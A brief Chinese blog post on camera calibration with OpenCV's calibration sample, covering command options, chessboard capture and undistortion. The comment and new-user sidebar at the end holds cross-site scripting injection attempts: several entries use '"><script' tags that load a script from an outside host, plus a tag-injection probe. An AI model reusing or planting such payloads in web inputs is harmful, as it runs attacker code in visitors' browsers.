Attempt at camera calibration using opencv


基于opencv例程samples/cpp/calibration.cpp


首先需要用棋盘捕获摄像头偏移扭曲参数

打印或制作棋盘卡纸(条件有限,只是A4打印,纸太软了效果不大好)

如果是实时拍摄输入

calibration -w 4 -h 5 -s 0.025 -o camera.yml -op -oe

如果从已拍照片中选取输入

calibration -w 4 -h 5 -s 0.025 -o camera.yml -op -oe image_list.xml

image_list.xml由另一例程imagelist_creator.cpp生成


例程中nframes = 10;的数量决定需要10帧图片确定参数,数量多更准确。

实时捕获程序启动后按下g开始

程序会根据捕获的图像不断搜索棋盘,如果图像有效会在右下角数字加一,直到nframes

之后,程序右下角提示calibrated,此时已矫正摄像头并生成参数文件camera.yml

按下u可以切换当前摄像头捕获的图像是否需要应用矫正后的结果。

可以发现矫正后的图像边缘有黑色细缝,图像有所改变。

opencv中矫正的函数为undistort(temp, view, cameraMatrix, distCoeffs);

棋盘图为了得到cameraMatrix, distCoeffs两个参数,一次矫正后得到参数即可之后使用


cap1.jpg cap2.jpg是测试时拍摄的有效棋盘图

blob.png

blob.png

capcor1.jpg capcor2.jpg是棋盘图角点的示意图

blob.png

blob.png

ori*.jpg是拍摄的原始照片

undistort*.jpg是经过矫正后的图片

blob.png blob.png

blob.png blob.png

blob.png blob.png


Complete data and code: 

摄像头矫正.rar



by Chen Li

2015.2


Next article

Comment 评论



Share 分享

New Users 最新加入

  • "><script type="text/javascript&qu

  • hokurikustr

New comments 最新评论

&quot;&gt;&lt;script type=&quot;te: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 13:07
toored: "><script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:58
toored: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:57
toored: "><test> Details Oct 02 12:56
test123: aasdas Details Apr 13 16:39